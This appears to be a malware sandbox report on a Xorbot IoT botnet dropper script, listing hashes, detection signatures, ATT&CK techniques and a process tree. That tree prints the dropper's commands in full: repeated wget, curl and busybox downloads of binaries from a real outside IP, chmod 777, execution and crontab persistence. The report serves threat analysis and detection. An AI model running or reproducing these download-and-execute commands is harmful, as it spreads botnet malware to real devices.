xorbot | aa653014d79dbe554affa5c6a3f3431aeb567bb2e834968539bd1a195a2b1c60

Analysis

max time kernel
150s
max time network
135s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
02-12-2024 00:17

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General

Target

RKY1N_bins.sh
Size

10KB
MD5

3185a06c9e65901556ba39c015fcb435
SHA1

125fb6885ad57ad672d32176a30567375ad03770
SHA256

aa653014d79dbe554affa5c6a3f3431aeb567bb2e834968539bd1a195a2b1c60
SHA512

0c420af2a9aafa1d0b63b00fea070ec9e9d29ffa14fca78e8b5c5bf1ac6489562fc2f2326b1aefa934b0ba382114ab7f0adb81675aaec91f1c923c38c92d6e39
SSDEEP

192:ojPta6AP3hIMGIQ+QeQsQFQxQpZLbHMwjPta6YP3hIM5Q+QeQsQFQxQ5c:DP3hIMGIZlVEMkZLbHMJP3hIM5ZlVEMf

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 8 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral4/files/fstream-1.dat	family_xorbot
behavioral4/files/fstream-5.dat	family_xorbot
behavioral4/files/fstream-7.dat	family_xorbot
behavioral4/files/fstream-11.dat	family_xorbot
behavioral4/files/fstream-13.dat	family_xorbot
behavioral4/files/fstream-20.dat	family_xorbot
behavioral4/files/fstream-21.dat	family_xorbot
behavioral4/files/fstream-22.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 11 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmod

pid	Process
739	chmod
815	chmod
822	chmod
859	chmod
887	chmod
746	chmod
759	chmod
789	chmod
866	chmod
880	chmod
894	chmod

Executes dropped EXE 11 IoCs

Processes:

EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2RmcMjR66IyOpZxgDbKTegTnMYkCArSqpLbKutb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwjPo4uaoRDRopmAGG1PA9hGUCoZS51qQwI5cMh6KuGi4TKa1WIO4pHBz8LOclY8qtSjIicsitfQlntvwyVyl9FZWa5O55emvT5Pyn8bxbdBBGB8RhqoYkfyhtWRagDcYOoE4jrU02wq0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhLnr9KWR3Zx0uc7vkJuM5DizlzGCvKGuOwERVpqHe0ztWmz6cq7lZljw2wzNP4OWHowapRsKbACYythVVtbNp20Qw9vdxUFNQK3HPw3Q

ioc	pid	Process
/tmp/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R	740	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
/tmp/mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK	747	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
/tmp/utb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwj	760	utb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwj
/tmp/Po4uaoRDRopmAGG1PA9hGUCoZS51qQwI5c	790	Po4uaoRDRopmAGG1PA9hGUCoZS51qQwI5c
/tmp/Mh6KuGi4TKa1WIO4pHBz8LOclY8qtSjIic	816	Mh6KuGi4TKa1WIO4pHBz8LOclY8qtSjIic
/tmp/sitfQlntvwyVyl9FZWa5O55emvT5Pyn8bx	823	sitfQlntvwyVyl9FZWa5O55emvT5Pyn8bx
/tmp/bdBBGB8RhqoYkfyhtWRagDcYOoE4jrU02w	860	bdBBGB8RhqoYkfyhtWRagDcYOoE4jrU02w
/tmp/q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL	867	q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
/tmp/nr9KWR3Zx0uc7vkJuM5DizlzGCvKGuOwER	881	nr9KWR3Zx0uc7vkJuM5DizlzGCvKGuOwER
/tmp/VpqHe0ztWmz6cq7lZljw2wzNP4OWHowapR	888	VpqHe0ztWmz6cq7lZljw2wzNP4OWHowapR
/tmp/sKbACYythVVtbNp20Qw9vdxUFNQK3HPw3Q	895	sKbACYythVVtbNp20Qw9vdxUFNQK3HPw3Q

Renames itself 1 IoCs

Processes:

q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL

pid	Process
868	q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.y59Xmt	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhLcurlcurlcrontabcurlcurlcurlcrontab

description	ioc	Process
File opened for reading	/proc/11/cmdline	q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
File opened for reading	/proc/13/cmdline	q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
File opened for reading	/proc/15/cmdline	q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
File opened for reading	/proc/115/cmdline	q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
File opened for reading	/proc/374/cmdline	q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
File opened for reading	/proc/875/cmdline	q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
File opened for reading	/proc/891/cmdline	q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
File opened for reading	/proc/893/cmdline	q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
File opened for reading	/proc/17/cmdline	q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
File opened for reading	/proc/18/cmdline	q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
File opened for reading	/proc/72/cmdline	q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
File opened for reading	/proc/76/cmdline	q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
File opened for reading	/proc/877/cmdline	q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/8/cmdline	q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
File opened for reading	/proc/344/cmdline	q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
File opened for reading	/proc/468/cmdline	q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
File opened for reading	/proc/873/cmdline	q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/20/cmdline	q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
File opened for reading	/proc/22/cmdline	q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
File opened for reading	/proc/24/cmdline	q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
File opened for reading	/proc/885/cmdline	q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
File opened for reading	/proc/3/cmdline	q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
File opened for reading	/proc/21/cmdline	q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
File opened for reading	/proc/36/cmdline	q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
File opened for reading	/proc/316/cmdline	q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
File opened for reading	/proc/898/cmdline	q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
File opened for reading	/proc/899/cmdline	q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
File opened for reading	/proc/78/cmdline	q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
File opened for reading	/proc/80/cmdline	q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
File opened for reading	/proc/706/cmdline	q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
File opened for reading	/proc/876/cmdline	q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
File opened for reading	/proc/71/cmdline	q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
File opened for reading	/proc/501/cmdline	q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
File opened for reading	/proc/705/cmdline	q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
File opened for reading	/proc/886/cmdline	q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/9/cmdline	q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
File opened for reading	/proc/10/cmdline	q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
File opened for reading	/proc/14/cmdline	q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
File opened for reading	/proc/708/cmdline	q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
File opened for reading	/proc/1/cmdline	q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
File opened for reading	/proc/23/cmdline	q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
File opened for reading	/proc/73/cmdline	q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
File opened for reading	/proc/707/cmdline	q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
File opened for reading	/proc/393/cmdline	q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
File opened for reading	/proc/884/cmdline	q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/105/cmdline	q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
File opened for reading	/proc/116/cmdline	q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
File opened for reading	/proc/343/cmdline	q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/151/cmdline	q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
File opened for reading	/proc/37/cmdline	q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
File opened for reading	/proc/69/cmdline	q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
File opened for reading	/proc/70/cmdline	q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
File opened for reading	/proc/892/cmdline	q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
File opened for reading	/proc/12/cmdline	q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
File opened for reading	/proc/16/cmdline	q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
File opened for reading	/proc/77/cmdline	q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
File opened for reading	/proc/229/cmdline	q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL

Writes file to tmp directory 27 IoCs

Malware often drops required files in the /tmp directory.

Processes:

curlbusyboxcurlwgetwgetwgetbusyboxcurlbusyboxcurlcurlbusyboxcurlbusyboxwgetcurlwgetbusyboxbusyboxbusyboxbusyboxwgetbusyboxwgetcurlwgetbusybox

description	ioc	Process
File opened for modification	/tmp/mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK	curl
File opened for modification	/tmp/sitfQlntvwyVyl9FZWa5O55emvT5Pyn8bx	busybox
File opened for modification	/tmp/q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL	curl
File opened for modification	/tmp/Mh6KuGi4TKa1WIO4pHBz8LOclY8qtSjIic	wget
File opened for modification	/tmp/sitfQlntvwyVyl9FZWa5O55emvT5Pyn8bx	wget
File opened for modification	/tmp/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R	wget
File opened for modification	/tmp/bdBBGB8RhqoYkfyhtWRagDcYOoE4jrU02w	busybox
File opened for modification	/tmp/utb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwj	curl
File opened for modification	/tmp/Mh6KuGi4TKa1WIO4pHBz8LOclY8qtSjIic	busybox
File opened for modification	/tmp/sitfQlntvwyVyl9FZWa5O55emvT5Pyn8bx	curl
File opened for modification	/tmp/bdBBGB8RhqoYkfyhtWRagDcYOoE4jrU02w	curl
File opened for modification	/tmp/VpqHe0ztWmz6cq7lZljw2wzNP4OWHowapR	busybox
File opened for modification	/tmp/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R	curl
File opened for modification	/tmp/utb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwj	busybox
File opened for modification	/tmp/Po4uaoRDRopmAGG1PA9hGUCoZS51qQwI5c	wget
File opened for modification	/tmp/Mh6KuGi4TKa1WIO4pHBz8LOclY8qtSjIic	curl
File opened for modification	/tmp/q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL	wget
File opened for modification	/tmp/q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL	busybox
File opened for modification	/tmp/nr9KWR3Zx0uc7vkJuM5DizlzGCvKGuOwER	busybox
File opened for modification	/tmp/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R	busybox
File opened for modification	/tmp/mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK	busybox
File opened for modification	/tmp/utb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwj	wget
File opened for modification	/tmp/Po4uaoRDRopmAGG1PA9hGUCoZS51qQwI5c	busybox
File opened for modification	/tmp/mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK	wget
File opened for modification	/tmp/Po4uaoRDRopmAGG1PA9hGUCoZS51qQwI5c	curl
File opened for modification	/tmp/bdBBGB8RhqoYkfyhtWRagDcYOoE4jrU02w	wget
File opened for modification	/tmp/sKbACYythVVtbNp20Qw9vdxUFNQK3HPw3Q	busybox

/tmp/RKY1N_bins.sh
/tmp/RKY1N_bins.sh
1⤵
PID:708
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:713
- /usr/bin/wget
  wget http://216.126.231.240/bins/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
  2⤵
  - Writes file to tmp directory
  PID:716
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:730
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
  2⤵
  - Writes file to tmp directory
  PID:737
- /bin/chmod
  chmod 777 EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
  2⤵
  - File and Directory Permissions Modification
  PID:739
- /tmp/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
  ./EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
  2⤵
  - Executes dropped EXE
  PID:740
- /bin/rm
  rm EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
  2⤵
  PID:742
- /usr/bin/wget
  wget http://216.126.231.240/bins/mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
  2⤵
  - Writes file to tmp directory
  PID:743
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
  2⤵
  - Writes file to tmp directory
  PID:744
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
  2⤵
  - Writes file to tmp directory
  PID:745
- /bin/chmod
  chmod 777 mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
  2⤵
  - File and Directory Permissions Modification
  PID:746
- /tmp/mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
  ./mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
  2⤵
  - Executes dropped EXE
  PID:747
- /bin/rm
  rm mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
  2⤵
  PID:749
- /usr/bin/wget
  wget http://216.126.231.240/bins/utb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwj
  2⤵
  - Writes file to tmp directory
  PID:750
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/utb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwj
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:751
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/utb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwj
  2⤵
  - Writes file to tmp directory
  PID:754
- /bin/chmod
  chmod 777 utb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwj
  2⤵
  - File and Directory Permissions Modification
  PID:759
- /tmp/utb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwj
  ./utb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwj
  2⤵
  - Executes dropped EXE
  PID:760
- /bin/rm
  rm utb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwj
  2⤵
  PID:763
- /usr/bin/wget
  wget http://216.126.231.240/bins/Po4uaoRDRopmAGG1PA9hGUCoZS51qQwI5c
  2⤵
  - Writes file to tmp directory
  PID:764
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Po4uaoRDRopmAGG1PA9hGUCoZS51qQwI5c
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:772
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Po4uaoRDRopmAGG1PA9hGUCoZS51qQwI5c
  2⤵
  - Writes file to tmp directory
  PID:785
- /bin/chmod
  chmod 777 Po4uaoRDRopmAGG1PA9hGUCoZS51qQwI5c
  2⤵
  - File and Directory Permissions Modification
  PID:789
- /tmp/Po4uaoRDRopmAGG1PA9hGUCoZS51qQwI5c
  ./Po4uaoRDRopmAGG1PA9hGUCoZS51qQwI5c
  2⤵
  - Executes dropped EXE
  PID:790
- /bin/rm
  rm Po4uaoRDRopmAGG1PA9hGUCoZS51qQwI5c
  2⤵
  PID:794
- /usr/bin/wget
  wget http://216.126.231.240/bins/Mh6KuGi4TKa1WIO4pHBz8LOclY8qtSjIic
  2⤵
  - Writes file to tmp directory
  PID:795
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Mh6KuGi4TKa1WIO4pHBz8LOclY8qtSjIic
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:806
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Mh6KuGi4TKa1WIO4pHBz8LOclY8qtSjIic
  2⤵
  - Writes file to tmp directory
  PID:813
- /bin/chmod
  chmod 777 Mh6KuGi4TKa1WIO4pHBz8LOclY8qtSjIic
  2⤵
  - File and Directory Permissions Modification
  PID:815
- /tmp/Mh6KuGi4TKa1WIO4pHBz8LOclY8qtSjIic
  ./Mh6KuGi4TKa1WIO4pHBz8LOclY8qtSjIic
  2⤵
  - Executes dropped EXE
  PID:816
- /bin/rm
  rm Mh6KuGi4TKa1WIO4pHBz8LOclY8qtSjIic
  2⤵
  PID:818
- /usr/bin/wget
  wget http://216.126.231.240/bins/sitfQlntvwyVyl9FZWa5O55emvT5Pyn8bx
  2⤵
  - Writes file to tmp directory
  PID:819
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/sitfQlntvwyVyl9FZWa5O55emvT5Pyn8bx
  2⤵
  - Writes file to tmp directory
  PID:820
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/sitfQlntvwyVyl9FZWa5O55emvT5Pyn8bx
  2⤵
  - Writes file to tmp directory
  PID:821
- /bin/chmod
  chmod 777 sitfQlntvwyVyl9FZWa5O55emvT5Pyn8bx
  2⤵
  - File and Directory Permissions Modification
  PID:822
- /tmp/sitfQlntvwyVyl9FZWa5O55emvT5Pyn8bx
  ./sitfQlntvwyVyl9FZWa5O55emvT5Pyn8bx
  2⤵
  - Executes dropped EXE
  PID:823
- /bin/rm
  rm sitfQlntvwyVyl9FZWa5O55emvT5Pyn8bx
  2⤵
  PID:825
- /usr/bin/wget
  wget http://216.126.231.240/bins/bdBBGB8RhqoYkfyhtWRagDcYOoE4jrU02w
  2⤵
  - Writes file to tmp directory
  PID:826
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/bdBBGB8RhqoYkfyhtWRagDcYOoE4jrU02w
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:846
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/bdBBGB8RhqoYkfyhtWRagDcYOoE4jrU02w
  2⤵
  - Writes file to tmp directory
  PID:857
- /bin/chmod
  chmod 777 bdBBGB8RhqoYkfyhtWRagDcYOoE4jrU02w
  2⤵
  - File and Directory Permissions Modification
  PID:859
- /tmp/bdBBGB8RhqoYkfyhtWRagDcYOoE4jrU02w
  ./bdBBGB8RhqoYkfyhtWRagDcYOoE4jrU02w
  2⤵
  - Executes dropped EXE
  PID:860
- /bin/rm
  rm bdBBGB8RhqoYkfyhtWRagDcYOoE4jrU02w
  2⤵
  PID:862
- /usr/bin/wget
  wget http://216.126.231.240/bins/q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
  2⤵
  - Writes file to tmp directory
  PID:863
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
  2⤵
  - Writes file to tmp directory
  PID:864
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
  2⤵
  - Writes file to tmp directory
  PID:865
- /bin/chmod
  chmod 777 q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
  2⤵
  - File and Directory Permissions Modification
  PID:866
- /tmp/q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
  ./q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:867
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:869
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:870
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:871
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      Reads runtime system information
      PID:872
- /bin/rm
  rm q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
  2⤵
  PID:874
- /usr/bin/wget
  wget http://216.126.231.240/bins/nr9KWR3Zx0uc7vkJuM5DizlzGCvKGuOwER
  2⤵
  PID:877
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/nr9KWR3Zx0uc7vkJuM5DizlzGCvKGuOwER
  2⤵
  PID:878
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/nr9KWR3Zx0uc7vkJuM5DizlzGCvKGuOwER
  2⤵
  - Writes file to tmp directory
  PID:879
- /bin/chmod
  chmod 777 nr9KWR3Zx0uc7vkJuM5DizlzGCvKGuOwER
  2⤵
  - File and Directory Permissions Modification
  PID:880
- /tmp/nr9KWR3Zx0uc7vkJuM5DizlzGCvKGuOwER
  ./nr9KWR3Zx0uc7vkJuM5DizlzGCvKGuOwER
  2⤵
  - Executes dropped EXE
  PID:881
- /bin/rm
  rm nr9KWR3Zx0uc7vkJuM5DizlzGCvKGuOwER
  2⤵
  PID:883
- /usr/bin/wget
  wget http://216.126.231.240/bins/VpqHe0ztWmz6cq7lZljw2wzNP4OWHowapR
  2⤵
  PID:884
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/VpqHe0ztWmz6cq7lZljw2wzNP4OWHowapR
  2⤵
  PID:885
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/VpqHe0ztWmz6cq7lZljw2wzNP4OWHowapR
  2⤵
  - Writes file to tmp directory
  PID:886
- /bin/chmod
  chmod 777 VpqHe0ztWmz6cq7lZljw2wzNP4OWHowapR
  2⤵
  - File and Directory Permissions Modification
  PID:887
- /tmp/VpqHe0ztWmz6cq7lZljw2wzNP4OWHowapR
  ./VpqHe0ztWmz6cq7lZljw2wzNP4OWHowapR
  2⤵
  - Executes dropped EXE
  PID:888
- /bin/rm
  rm VpqHe0ztWmz6cq7lZljw2wzNP4OWHowapR
  2⤵
  PID:890
- /usr/bin/wget
  wget http://216.126.231.240/bins/sKbACYythVVtbNp20Qw9vdxUFNQK3HPw3Q
  2⤵
  PID:891
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/sKbACYythVVtbNp20Qw9vdxUFNQK3HPw3Q
  2⤵
  PID:892
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/sKbACYythVVtbNp20Qw9vdxUFNQK3HPw3Q
  2⤵
  - Writes file to tmp directory
  PID:893
- /bin/chmod
  chmod 777 sKbACYythVVtbNp20Qw9vdxUFNQK3HPw3Q
  2⤵
  - File and Directory Permissions Modification
  PID:894
- /tmp/sKbACYythVVtbNp20Qw9vdxUFNQK3HPw3Q
  ./sKbACYythVVtbNp20Qw9vdxUFNQK3HPw3Q
  2⤵
  - Executes dropped EXE
  PID:895
- /bin/rm
  rm sKbACYythVVtbNp20Qw9vdxUFNQK3HPw3Q
  2⤵
  PID:897
- /usr/bin/wget
  wget http://216.126.231.240/bins/NmPaDKNCf2fMYCCWygJRzP2GqfiJfLUvEq
  2⤵
  PID:898
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/NmPaDKNCf2fMYCCWygJRzP2GqfiJfLUvEq
  2⤵
  PID:899

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

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/tmp/Mh6KuGi4TKa1WIO4pHBz8LOclY8qtSjIic

Filesize
177KB

MD5
786d75a158fe731feca3880f436082c0

SHA1
79ea2734e43d00cdeabed5586b2c1994d02aef3e

SHA256
5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

SHA512
7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

Download Submit
/tmp/Po4uaoRDRopmAGG1PA9hGUCoZS51qQwI5c

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

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/tmp/VpqHe0ztWmz6cq7lZljw2wzNP4OWHowapR

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

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/tmp/bdBBGB8RhqoYkfyhtWRagDcYOoE4jrU02w

Filesize
127KB

MD5
89077b7bd4bcafca7713be43635c4862

SHA1
fc02edb8fba29ea8ee99e6157ef8560334530052

SHA256
78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

SHA512
1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

Download Submit
/tmp/mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

Download Submit
/tmp/nr9KWR3Zx0uc7vkJuM5DizlzGCvKGuOwER

Filesize
111KB

MD5
701e7a55a4f3650f5feee92a9860e5fc

SHA1
6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

SHA256
ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

SHA512
7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

Download Submit
/tmp/q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL

Filesize
151KB

MD5
6c583043d91c55aa470c08c87058e917

SHA1
abf65a5b9bba69980278ad09356e53de8bb89439

SHA256
2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

SHA512
